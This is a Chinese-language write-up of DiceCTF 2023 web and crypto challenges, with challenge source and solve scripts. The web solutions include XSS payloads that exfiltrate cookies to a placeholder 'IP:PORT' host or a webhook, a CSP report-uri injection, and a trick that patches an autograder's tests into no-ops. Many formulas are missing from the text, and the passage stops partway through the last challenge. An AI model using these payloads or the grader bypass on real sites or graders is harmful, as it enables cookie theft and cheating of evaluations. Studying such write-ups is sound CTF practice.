DiceCTF 2023 WriteUps

今年在 TSJ 裡面參加了 DiceCTF 2023,主要在解 web/crypto/misc 的題目而已。crypto 有幾題 PQC 的題目,而 web 難度真的高的讓我懷疑我不會 web...

題目名稱上有 * 的題目代表是我賽後才解的。

Web

recursive-csp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if (isset($_GET["source"])) highlight_file(__FILE__) && die();

$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}

$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>

可知 csp nonce 是用 crc32b(payload) 產生的,但是 payload 裡面又必須包含 nonce。一個簡單(且為預期解)的做法是直接爆就行了,可以直接硬爆或是先固定 payload 的 nonce 然後修改 payload 到目標的 crc。

不過我這邊就用一個 crypto 一點的作法,直接利用 crc 的 linear 性質就能讓它變成解 GF(2) linear system 了。概念類似我之前解 DEF CON CTF Qualifier 2022 - sameold 的做法,所以直接拿它的腳本來改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from zlib import crc32


def v2b(v):
v = v[::-1]
return bytes([int("".join(map(str, v[i : i + 8])), 2) for i in range(0, len(v), 8)])


def b2v(b):
v = []
for x in b:
v.extend(list(map(int, f"{x:08b}")))
return v[::-1]


def i2v(i, n):
return list(map(int, f"{i:0{n}b}"))[::-1]


def v2i(v):
return int("".join(map(str, v[::-1])), 2)


def crcmat(crc, n, m):
"""
Recover matrix of crc by black box
crc: crc function, bytes->int
n: crc output bits
m: crc input bits

crc(x) = Ax+C
x is n bits
crc(x) is m bits
A is m by n matrix
Assuming bits reversed crc
"""
C = vector(GF(2), i2v(crc(v2b([0] * m)), n))
right = []
# left = []
for i in range(m):
v = [0] * m
v[i] = 1
# left.append(v)
right.append(vector(i2v(crc(v2b(v)), n)) - C)
# L = matrix(GF(2), left).T
R = matrix(GF(2), right).T
# A = R * L.inverse()
# Note: L is identity matrix
A = R
return A, C


def find_append(crc, nb, msg, target):
A, C = crcmat(crc, nb * 8, (len(msg) + nb) * 8)
CC = A * vector(b2v(msg + b"\x00" * nb)) + C
t = vector(i2v(target, nb * 8))
sol = A[:, : nb * 8].solve_right(t - CC)
assert crc(msg + v2b(sol)) == target
return v2b(sol)


if __name__ == "__main__":
# matrix recover test
A, C = crcmat(crc32, 32, 128)
msg = bytearray(b"x" * (128 // 8))
msg[-8:] = b"pekomiko"
x = v2i(A * vector(b2v(msg)) + C)
assert x == crc32(msg)

# find crc(x) == x for 32 bits x
# A*x+C=x
# (A-I)*x=-C
A, C = crcmat(crc32, 32, 32)
x = v2b((A - matrix.identity(32)).solve_right(-C))
assert v2i(b2v(x)) == crc32(x)

payload = b'<script nonce="00000000" src="https://webhook.site/37041121-8d88-4867-b9b7-eea88a0876f8"></script>'
ap = find_append(crc32, 4, payload, 0)
assert crc32(payload + ap) == 0

from urllib.parse import quote

print(f"https://recursive-csp.mc.ax/?name={quote(payload + ap)}")
# dice{h0pe_that_d1dnt_take_too_l0ng}

另外是 @remy_o 也有一個類似的解法,但是沒直接建 matrix 出來,並且還比較有效率:

1
2
3
4
5
6
7
8
9
10
11
12
13
from zlib import crc32

script = """<script nonce="ffffffff">document.location="http://IP:PORT/"+document.cookie;</script>"""

for seeds in range(1000):
h = str(seeds)
payload = script + h
c = crc32(payload.encode())
cb = (0xffffffff ^ c).to_bytes(4, "little")
if all(b < 128 and chr(b).isalnum() for b in cb):
blob = payload.encode() + cb
print(len(blob), repr(blob))
print(hex(crc32(blob)))

loop 的部分是為了讓 append 的東西是 printable 的,不過這題其實沒有要求這點所以可以忽略它。核心部分在於 crc32(x || ~crc32(x))=0xffffffff 這點上比較有趣。

我們知道 crc 和 GF(2) 的多項式運算有關: ,不過現實世界的 crc 在實作上比這個複雜很多,例如有 bit reversed 或是要對 message 做 bitwise not 等等的操作所以實際上並不只這樣而已。目前看到整理最好的是這個 writeup,它把 CRC 統整為:

  • 是 message
  • 是 XOR-out,一個常數,例如 crc32 的話是 0xffffffff
  • 是 crc 初始值,以 crc32 來說預設為 0
  • 的長度,例如 crc32 的話是 32
  • 的長度,即 m.bit_length()

所以 crc32(x || ~crc32(x)) 相當於計算:

所以最後結果是 ,也就是 0xffffffff,所以就得到了上面的結論。

scorescope

它是一個課程平台,可以上傳 python 上去解一些題目 (online judge),不過它後面的幾題包含了 integer factorization 和 sha256 preimage 之類的,所以肯定不能正常解。

透過在測試函數中 raise Exception 就能 print 東西,例如以下可以 dump 出所有 modules:

1
2
3
4
import sys

def add(a, b):
raise Exception(repr(sys.modules.keys()))

然後在裡面能找到幾個有趣的 module:

1
[..., 'test_1_add', 'test_2_longest', 'test_3_common', 'test_4_favorite', 'test_5_factor', 'test_6_preimage', 'test_7_magic', 'test_8_hidden', 'submission']

透過一些 dir 的配合可以知道它裡面都有一個 TestXXX 的 class,而 class 上面有 test_xxx 之類的 method 會從 submission (我們的 script) import 函數進來測試。透過 dis.dis 可知它裡面就像 unit test 使用一些 assert 的 function,所以只要把它 patch 成 noop 就能過了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys


# without this test_add_mixed fails...
def add(a, b):
return a + b


def noop(*args, **kwargs):
return


for k in sys.modules:
if k.startswith("test"):
mod = sys.modules[k]
for cname in dir(mod):
if cname.startswith("Test"):
cls = getattr(mod, cname)
for fname in dir(cls):
if fname.startswith("test"):
setattr(cls, fname, noop)

不過我解這題的時候沒這麼簡單,因為我最初以為是要拿 RCE,所以用各種 pyjail 技巧想辦法繞,後來才發現它有個 util module 會上 seccomp 擋 open 所以就放棄了這條路。

*codebox

這題我沒能在賽中解掉 QQ

box.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<!DOCTYPE html>
<html lang="en">
<head>
<title>codebox</title>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<style>
* {
margin: 0;
font-family: monospace;
line-height: 1.5em;
}

div {
margin: auto;
width: 80%;
padding: 20px;
}

textarea {
width: 100%;
height: 200px;
max-width: 500px;
}

iframe {
border: 1px solid lightgray;
}
</style>
</head>
<body>
<div id="content">
<h1>codebox</h1>
<p>Codebox lets you test your own HTML in a sandbox!</p>
<br>
<form action="/" method="GET">
<textarea name="code" id="code"></textarea>
<br><br>
<button>Create</button>
</form>
<br>
<br>
</div>
<div id="flag"></div>
</body>
<script>
const code = new URL(window.location.href).searchParams.get('code');
if (code) {
const frame = document.createElement('iframe');
frame.srcdoc = code;
frame.sandbox = '';
frame.width = '100%';
document.getElementById('content').appendChild(frame);
document.getElementById('code').value = code;
}

const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
</script>
</html>

web.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');

const box = require('fs').readFileSync('box.html', 'utf-8');

fastify.get('/', (req, res) => {
const code = req.query.code;
const images = [];

if (code) {
const parsed = HTMLParser.parse(code);
for (let img of parsed.getElementsByTagName('img')) {
let src = img.getAttribute('src');
if (src) {
images.push(src);
}
}
}

const csp = [
"default-src 'none'",
"style-src 'unsafe-inline'",
"script-src 'unsafe-inline'",
];

if (images.length) {
csp.push(`img-src ${images.join(' ')}`);
}

res.header('Content-Security-Policy', csp.join('; '));

res.type('text/html');
return res.send(box);
});

fastify.listen({ host: '0.0.0.0', port: 8080 });

簡單來說你的 html 會被放到一個 iframe sandbox,而其中的 img src 會放到 CSP header,所以可以 inject 一些東西進去。

而這題解法的關鍵其實和我之前出的 Nim Notes 有點類似,但我卻沒能看出要用 trusted types...。

1
<img src="; report-uri https://webhook.site/37041121-8d88-4867-b9b7-eea88a0876f8; require-trusted-types-for 'script'">

這樣的話任何對 innerHTML 的 assignment 都需要是 TrustedHTML,而 violation 就會被回報的指定的 report-uri

不過上面 srcdoc 的 assignment 那邊也會觸發 violation,所以在傳 query parameter 時要讓它變成 ?code=&code=payload,這樣 searchParams 只會取第一個,但 node.js 那邊會把它視為 array,而 html parser 裡面會把它轉成 string 所以沒差。

1
https://codebox.mc.ax/?code=&code=%3Cimg+src%3D%22%3B+report-uri+https%3A%2F%2Fwebhook.site%2F37041121-8d88-4867-b9b7-eea88a0876f8%3B+require-trusted-types-for+%27script%27%22%3E

Flag: dice{i_als0_wr1te_csp_bypasses}

Crypto

Provably Secure

這題有兩把 RSA public key 和未知的 bit (m_bit),encryption oracle 你需要兩個 message ,然後它會回傳 並把它加入 decryption oracle 的黑名單。

其中

而解密時就是

然而這題有個 unintende,就先和第二題做 diff 可知這題的 decryption oracle 在檢查時寫壞了:

1
2
3
4
85c85
< if in_ct in seen_ct:
---
> if in_ct.hex() in seen_ct:

所以把 ciphertext 直接送回去 decrypt 就能知道 m_bit 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from tqdm import tqdm

m0 = b"a" * 16
m1 = b"b" * 16

# io = process(["python", "server.py"])
io = remote("mc.ax", 31493)
for _ in tqdm(range(1, 129)):
io.sendlineafter(b"Action: ", b"1")
io.sendlineafter(b": ", m0.hex().encode())
io.sendlineafter(b": ", m1.hex().encode())
ct = io.recvline().strip()

io.sendlineafter(b"Action: ", b"2")
io.sendlineafter(b": ", ct)
res = bytes.fromhex(io.recvlineS().strip())
m_bit = 0 if res == m0 else 1

io.sendlineafter(b"Action: ", b"0")
io.sendlineafter(b": ", str(m_bit).encode())
io.interactive()
# dice{yeah_I_lost_like_10_points_on_that_proof_lmao}

Provably Secure 2

這題基本上和前面一樣,不過這次的 decryption oracle 會正確檢查 blacklist,所以不能直接送回去。

我的做法用兩次 encryption oracle 加密:

之後用兩次 decryption oracle 送:

所以把兩個 xor 就能得到 ,由此可得 (m_bit)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from tqdm import tqdm
from Crypto.Util.strxor import strxor

zero = b"\x00" * 16
m0 = b"a" * 16
m1 = b"b" * 16

# context.log_level = "debug"

# io = process(["python", "server.py"])
io = remote("mc.ax", 31497)
for _ in tqdm(range(1, 129)):
io.sendlineafter(b"Action: ", b"1")
io.sendlineafter(b": ", zero.hex().encode())
io.sendlineafter(b": ", zero.hex().encode())
ct0 = io.recvline().strip() # [r0, r0 xor 0]
io.sendlineafter(b"Action: ", b"1")
io.sendlineafter(b": ", m0.hex().encode())
io.sendlineafter(b": ", m1.hex().encode())
ct1 = io.recvline().strip() # [r1, r1 xor m]

new_ct = ct0[:512] + ct1[512:]
io.sendlineafter(b"Action: ", b"2")
io.sendlineafter(b": ", new_ct)
res0 = bytes.fromhex(io.recvlineS().strip()) # r0 xor r1 xor m
new_ct = ct1[:512] + ct0[512:]
io.sendlineafter(b"Action: ", b"2")
io.sendlineafter(b": ", new_ct)
res1 = bytes.fromhex(io.recvlineS().strip()) # r0 xor r1

res = strxor(res0, res1) # m
m_bit = 0 if res == m0 else 1
io.sendlineafter(b"Action: ", b"0")
io.sendlineafter(b": ", str(m_bit).encode())
io.interactive()
# dice{my_professor_would_not_be_proud_of_me}

rSabin

這題其實一開始是 Kuruwa 解的,不過因為沒 script 所以還是自己再解了一次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import asyncio
import concurrent.futures
import traceback
from Crypto.Util.number import getPrime, bytes_to_long
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

from nth_root import nth_root, chinese_remainder # not provided

class Server:
def __init__(self):
e = 17
nbits = 512

p = getPrime(nbits)
q = getPrime(nbits)
N = p * q

self.p = p
self.q = q
self.N = N
self.e = e

def encrypt(self, m):
assert 0 <= m < self.N
c = pow(m, self.e, self.N)
return int(c)

def decrypt(self, c):
assert 0 <= c < self.N
mp = int(nth_root(c, self.p, self.e))
mq = int(nth_root(c, self.q, self.e))
m = chinese_remainder([mp, mq], [self.p, self.q])
return int(m)

def encrypt_flag(self):
with open("flag.txt", "rb") as f:
flag = f.read()

key = RSA.construct((self.N, self.e))
cipher = PKCS1_OAEP.new(key)
c = cipher.encrypt(flag)
c = bytes_to_long(c)
return c


async def handle(a):
S = await a.run(Server)
while True:
cmd = (await a.input("Enter your option (EDF) > ")).strip()
if cmd == "E":
m = int(await a.input("Enter your integer to encrypt > "))
c = await a.run(S.encrypt, m)
await a.print(str(c) + '\n')
elif cmd == "D":
c = int(await a.input("Enter your integer to decrypt > "))
m = await a.run(S.decrypt, c)
await a.print(str(m) + '\n')
elif cmd == "F":
c = await a.run(S.encrypt_flag)
await a.print(str(c) + '\n')
return

class Handler:
def __init__(self, reader, writer, pool):
self.reader = reader
self.writer = writer
self.pool = pool
async def print(self, data):
self.writer.write(str(data).encode())
await self.writer.drain()
async def input(self, prompt):
await self.print(prompt)
return (await self.reader.readline()).decode()
async def run(self, func, *args):
loop = asyncio.get_running_loop()
return await loop.run_in_executor(self.pool, func, *args)
async def __aenter__(self):
return self
async def __aexit__(self, exc_t, exc_v, exc_tb):
self.writer.close()
await self.writer.wait_closed()
if exc_v is not None and not isinstance(exc_v, asyncio.TimeoutError):
traceback.print_exception(exc_v)
return True


async def main():
with concurrent.futures.ProcessPoolExecutor() as pool:
async def callback(reader, writer):
async with Handler(reader, writer, pool) as a:
await asyncio.wait_for(handle(a), 20)
server = await asyncio.start_server(callback, '0.0.0.0', 5000)
print('listening')
async with server:
await server.serve_forever()


if __name__ == "__main__":
asyncio.run(main())

這題有無限次 RSA 的 encrypt/decrypt oracle,其中 ,不過拿完 flag ciphertext 之後就會斷開連線所以只能想辦法利用 oracle 分解 public key。

關鍵在於它的 decryption oracle 是使用 nth_root 結合 CRT 做的,其中的 nth_root 應該是 sage 的 implementation。

一開始是都沒想法,不過仔細一看會發現它沒檢查 或是 的情況,因為這個時候 根本不存在,所以在 下開 nth_root 會有些特別的行為。

我們知道 的 order 是 ,假設 代表

會有 個不同的根,要求的話可以利用 和 roots of unity 來求。

這邊可利用的地方就是在於它的根不是唯一的,所以假設 的情況,對於 下就有 個解,但是在 下只有 個解,也就是

假設在 下求得的 不是 ,那麼有:

最後 CRT 得到的 就會符合 ,這樣就可以分解 RSA 了。

之後在 decrypt 的時候要參考去年 nth_root 的做法把所有可能的 plaintext 都找出來,然後用 RSA OAEP unpad 看看是不是 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from sage.all import *
from pwn import remote
from tqdm import tqdm
from Crypto.Util.number import *
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

# io = remote("localhost", 5000)
io = remote("mc.ax", 31370)


def enc(m):
io.sendlineafter(b"> ", b"E")
io.sendlineafter(b"> ", str(m).encode())
return int(io.recvline().strip())


def dec(c):
io.sendlineafter(b"> ", b"D")
io.sendlineafter(b"> ", str(c).encode())
return int(io.recvline().strip())


def flag():
io.sendlineafter(b"> ", b"F")
return int(io.recvline().strip())


n = reduce(gcd, [x**17 - enc(x) for x in range(2**512, 2**512 + 5)])
print(n)
# hoping that (p-1)%17==0 so it will be necessary to calculate the primitive root of p before calculating x as x^e=2^17 (mod n)
# then there will be 17 x such that x^e=2^17 (mod p), but only 1 x such that x^e=2^17 (mod q)
# therefore x = 2 (mod q) but x = ? (mod p), then we can get q by gcd(x-2, n)
x = dec(2**17)
p = gcd(x - 2, n)
if p == 1 or p == n:
exit(1)
q = n // p
c = flag()


def oaep_unpad(x, n):
while True:
key = RSA.generate(1024)
if key.n > n:
break
c = pow(x, key.e, key.n)
c = long_to_bytes(c, (key.n.bit_length() + 7) // 8)
cipher = PKCS1_OAEP.new(key)
return cipher.decrypt(c)


for xp in GF(p)(c).nth_root(17, all=True):
for xq in GF(q)(c).nth_root(17, all=True):
m = int(crt([ZZ(xp), ZZ(xq)], [p, q]))
try:
flag = oaep_unpad(m, n)
print(flag)
except:
pass
# while true; do python solve.py; ret=$?; [ $ret -eq 0 ] && break; done
# dice{rabin-williams-cryptosystem-in-disguise-3038e78caa07}

flag 說的其實就是 Rabin cryptosystem chosen ciphertext attack

BBBB

這題是從 SECCON CTF 2022 - BBB 改來的,主要是 rng 的部分從 QCG 變成 LCG,而後面加密的部分有些不同。

首先目標還是很明確,就是要拿到五個 的 ciphertext。這部分其實直接用我原本那題解 的方法解出 lcg 參數就可以了。然後後面要稍微爆一下直到得到 都是偶數時就能得到五個 的 ciphertext。

接下來 encrypt 的時候是有五組 的等式,直接 CRT 然後因為 不大所以可以直接 coppersmith。這個其實就是 generalized hastad broadcast attack。之前 CakeCTF 2021 我就有遇過類似的題型了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from sage.all import *
from Crypto.Util.number import bytes_to_long, getPrime
from random import randint
from math import gcd
from os import urandom
from pwn import process, remote, context

context.log_level = "debug"

# io = process(["python", "bbbb.py"])
io = remote("mc.ax", 31340)
io.recvuntil(b"b=")
b = int(io.recvline().strip().decode())
io.recvuntil(b"p=")
p = int(io.recvline().strip().decode())

F = Zmod(p)
E = 11
P = F["x,a"]
x, a = P.gens()
f = a * x + b
g = f(f(f(f(f, a), a), a), a)(E, a) - E
print(g)
aa = g.univariate_polynomial().roots(multiplicities=False)
print(aa)


def check_seeds(seeds):
return len(seeds) == 5 and all([s % 2 == 0 for s in set(seeds) - {E}])


for a in aa:
print("=" * 40)
P = F["x"]
x = P.gen()
f = a * x + b
v = E
seeds = set()
for i in range(10):
print(i, v)
seeds.add(int(v))
v = f(v)
if check_seeds(seeds):
break
print(f"{a = }")
print(f"{seeds = }")
if not check_seeds(seeds):
print("bad seeds :(")
exit(1)


io.sendlineafter(b": ", str(a).encode())
for seed in seeds:
io.sendlineafter(b": ", str(seed).encode())

ct = []
for _ in range(5):
io.recvuntil(b"Public Key:")
io.recvuntil(b"n=")
n = int(io.recvline().strip())
io.recvuntil(b"e=")
e = int(io.recvline().strip())
io.recvuntil(b"r=")
r = io.recvlineS().strip()[1:-1]
io.recvuntil(b"Cipher Text: ")
c = int(io.recvline().strip())
if e != E:
print("bad e :(", _)
exit(1)
ct.append((n, e, r, c))

P = ZZ["x"]
x = P.gen()
ff = []
nn = []
for n, e, r, c in ct:
rn = int(r, 16)
f = (x * 2**128 + rn) ** e - c
ff.append(f)
nn.append(ZZ(n))
f = crt(ff, nn)
M = product(nn)
f = f.change_ring(Zmod(M)).monic()
print(f)
print(M)
x = int(f.small_roots(epsilon=0.05))
print(long_to_bytes(x))
# while true; do python solve.py; ret=$?; [ $ret -eq 0 ] && break; done
# dice{r3s0rt_t0_LCG_4ft3r_f41l1ng_t0_m4k3_ch4ll}

另外是參考 @remy_o 所說的,的話 LCG 會變成 ,那麼再送 作為 seeds 的話就有不低的機率得到兩個 的 ciphertext,兩個 的 ciphertext 和一個 的 ciphertext。

之所以這樣能成功是因為這題給的 bound 其實很鬆,flag + padding 大概只有 53 bytes 而每個 都是 2048 bits。

seaside

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/local/bin/python

import ctypes
import os

from Crypto.Util.strxor import strxor
from Crypto.Hash import SHAKE128

PRIVATE_KEY_SIZE = 74
PUBLIC_KEY_SIZE = 64

# make libcsidh.so
libcsidh = ctypes.CDLL('./libcsidh.so')

def stream(buf, ss):
pad = SHAKE128.new(bytes(ss)).read(len(buf))
return strxor(buf, pad)

def keygen():
priv = ctypes.create_string_buffer(PRIVATE_KEY_SIZE)
pub = ctypes.create_string_buffer(PUBLIC_KEY_SIZE)
libcsidh.csidh_private(priv)
libcsidh.csidh(pub, libcsidh.base, priv)
return priv, pub

def apply_iso(start, iso):
end = ctypes.create_string_buffer(PUBLIC_KEY_SIZE)
libcsidh.csidh(end, start, iso)
return end

def invert(priv):
exponents = [-e % 256 for e in bytes(priv)]
return ctypes.create_string_buffer(bytes(exponents))

class Alice:
def __init__(self, msg0, msg1):
assert type(msg0) == bytes
assert type(msg1) == bytes
assert len(msg0) == len(msg1)
self.msg0 = msg0
self.msg1 = msg1
self.priv0, self.pub0 = keygen()
self.priv1, self.pub1 = keygen()

def publish(self):
return self.pub0, self.pub1

def encrypt(self, mask):
ss0 = apply_iso(mask, invert(self.priv0))
ss1 = apply_iso(mask, invert(self.priv1))
enc0 = stream(self.msg0, ss0)
enc1 = stream(self.msg1, ss1)
return enc0, enc1

class Bob:
def __init__(self, bit):
assert bit in (0, 1)
self.bit = bit
self.iso, self.ss = keygen()

def query(self, pubs):
pub = pubs[self.bit]
mask = apply_iso(pub, self.iso)
return mask

def decrypt(self, encs):
enc = encs[self.bit]
msg = stream(enc, self.ss)
return msg

if __name__ == '__main__':
with open('flag.txt', 'rb') as f:
flag = f.read().strip()

msg0 = os.urandom(len(flag))
msg1 = strxor(msg0, flag)

alice = Alice(msg0, msg1)
pub0, pub1 = alice.publish()
print(f'pub0: {bytes(pub0).hex()}')
print(f'pub1: {bytes(pub1).hex()}')

'''
bob = Bob(bit)
mask = bob.query((pub0, pub1))
'''

mask_hex = input('mask: ')
mask = ctypes.create_string_buffer(bytes.fromhex(mask_hex), PUBLIC_KEY_SIZE)
enc0, enc1 = alice.encrypt(mask)
print(f'enc0: {enc0.hex()}')
print(f'enc1: {enc1.hex()}')

'''
msg = bob.decrypt((enc0, enc1))
'''

這題是一個基於 CSIDH 的 oblivious transfer 題目。

首先 alice 會生成兩個 private key (isogeny) ,然後得到兩個 public key (curve)

之後 bob 應該要自己選個 private eky (isogeny) 並選擇要拿哪個 message ,之後計算 mask

最後 alice 拿到 mask 之後分別 apply 到 mask 得到兩個 shared secret: 。然後用這兩個 shared secret 分別加密兩個 message 回傳。

假設 的話依照 commutative (CSIDH 的 C) 的性質可得第一個 shared secret 為 ,也就是 bob 的 public key,所以就能用它來解密第一個 ciphertext。

不過這題需要想辦法拿到兩個 message 才行,所以要找一些不同的方法。

我最一開始的想法是取 mask 為 ,那麼最後的 shared secret 就是 alice 的兩個 public key,但是在只有 的情況下,我們無法計算出

P.S. 因為 CSIDH 和 SIDH 很不一樣,所以之前的 Castryck-Decru Key Recovery Attack on SIDH 不能用。

後來的第二個想法是想說取 mask 為 (base curve),那麼 shared secret 就是 ,直覺上會和 alice public key 有某些聯繫。

參考這份 slide 可知 private key 是一些小質數的 exponent,而 public key 是 上的參數

同時,在一般的 ECC 下我們知道 ,所以可以合理猜測這邊會不會有一樣的情況。首先我們可以從 csidh-latest.tar.xz 找到 CSIDH-512 的參數 ,然後直接把兩個 public key 用 little endian decode,會發現兩個正好是 下的 additive inverse。

所以這樣就取 mask 為 ,然後利用 alice public key 的 inverse 就能解密兩個 message 拿到 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from Crypto.Util.strxor import strxor
from Crypto.Hash import SHAKE128


PRIVATE_KEY_SIZE = 74
PUBLIC_KEY_SIZE = 64
p = 5326738796327623094747867617954605554069371494832722337612446642054009560026576537626892113026381253624626941643949444792662881241621373288942880288065659


def invert_pub(pub):
x = int.from_bytes(bytes(pub), "little")
return (p - x).to_bytes(PUBLIC_KEY_SIZE, "little")


def stream(buf, ss):
pad = SHAKE128.new(bytes(ss)).read(len(buf))
return strxor(buf, pad)

"""
Explanation of the protocol:
We have
base ---------> pub0
| priv0
|
|priv1
|
v
pub1

Then we are supposed to find a secret isogeny to map either pub0 or pub1 to mask, take pub1 for example
base ---------> pub0
| priv0
|
|priv1
|
v iso
pub1 -----------------> mask

Then Alice when take apply priv0^-1 and priv1^-1 to iso to get two shared secrets, then encrypt the messages respectively.



Attack:
If we take mask=base, then the shared secret will be apply_iso(base, priv0^-1) and apply_iso(base, priv1^-1), but CSIDH isn't broken (like SIDH) so we can't get the private keys.
Fortunately, I found that public keys (the A component of y^2=x^3+Ax^2+x) satisfy (apply_iso(base, priv)+apply_iso(base, priv^-1))=0 (mod p) for some reason.
So we can easily compute the final shared secret by computing additive inverse.
"""

# io = process(["python", "seaside.py"])
io = remote("mc.ax", 31336)
io.recvuntil(b"pub0: ")
pub0 = bytes.fromhex(io.recvline().decode().strip())
io.recvuntil(b"pub1: ")
pub1 = bytes.fromhex(io.recvline().decode().strip())

# base curve
io.sendlineafter(b"mask: ", (b"\x00" * PUBLIC_KEY_SIZE).hex().encode())

io.recvuntil(b"enc0: ")
enc0 = bytes.fromhex(io.recvline().decode().strip())
io.recvuntil(b"enc1: ")
enc1 = bytes.fromhex(io.recvline().decode().strip())

msg0 = stream(enc0, invert_pub(pub0))
msg1 = stream(enc1, invert_pub(pub1))
print(strxor(msg0, msg1))
# dice{b0p_it_pul1_1t_6op_it_pull_1t_pu1l_1t_b0p_it}

後來讀了作者的 writeup 才知道原來 quadratic twist。quadratic 的意思是對於 的 curve 和一個 non square 可以有 。所以按照它頁面上的公式在 的情況下 就被反了過來。

不過 sage 的 quadratic_twist 計算方法好像和 wiki 上寫的不太一樣,所以還要後面接 montgomery_model 才能得到我們想要的 curve 格式。另外是在 的 finite field 下 quadratic twist 的 其實不重要。(sage doc)

所以利用 sage 可以把 invert_pub 改寫為:

1
2
3
4
5
6
7
8
9
10
p = 5326738796327623094747867617954605554069371494832722337612446642054009560026576537626892113026381253624626941643949444792662881241621373288942880288065659
F = GF(p)


def invert_pub(pub):
A = int.from_bytes(bytes(pub), "little")
E = EllipticCurve(F, [0, A, 0, 1, 0])
Ei = E.quadratic_twist().montgomery_model()
A2 = int(Ei.a2())
return A2.to_bytes(PUBLIC_KEY_SIZE, "little")

不過以效能上來說這個比我原本的差太多了 XD。

membrane

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import numpy as np

# dimension
n = 512
# number of public key samples
m = n + 100
# plaintext modulus
p = 257
# ciphertext modulus
q = 1048583

V = VectorSpace(GF(q), n)
S = V.random_element()

def encrypt(m):
A = V.random_element()
e = randint(-10, 10)
b = A * S + m + p * e
return A, b

def decrypt(A, b):
A = V(A)
m = ZZ(b - A * S)
if m > q//2:
m -= q
m = ZZ(m % p)
return m

def public_key_encrypt(public_key_samples_A, public_key_samples_b, msg):
c = vector(ZZ, [randint(-1,1) for i in range(m)])
e = randint(-10, 10)

A = c * public_key_samples_A
b = c * public_key_samples_b + msg + p * e

return A,b


def keygen():
public_key_samples_A = []
public_key_samples_b = []
for i in range(m):
A, b = encrypt(0)
public_key_samples_A.append(A)
public_key_samples_b.append(b)

public_key_samples_A = Matrix(GF(q), public_key_samples_A)
public_key_samples_b = vector(GF(q), public_key_samples_b)

return public_key_samples_A, public_key_samples_b


with open("flag.txt", "rb") as f:
flag = f.read()


pk_A, pk_b = keygen()

encrypt_A, encrypt_b = [], []
for msg in flag:
A, b = public_key_encrypt(pk_A, pk_b, msg)
encrypt_A.append(A)
encrypt_b.append(b)


pk_A = np.array(pk_A, dtype=np.int64)
pk_b = np.array(pk_b, dtype=np.int64)
encrypt_A = np.array(encrypt_A, dtype=np.int64)
encrypt_b = np.array(encrypt_b, dtype=np.int64)
np.savez_compressed("data.npz", pk_A=pk_A, pk_b=pk_b, encrypt_A=encrypt_A, encrypt_b=encrypt_b)

這題是個 LWE 題目,參數有

private key 是 ,而 public key 是 ,其中的 error

加密的方法是對於每個 byte 分開加密,取一個隨機向量 然後以 作為 的 ciphertext,其中

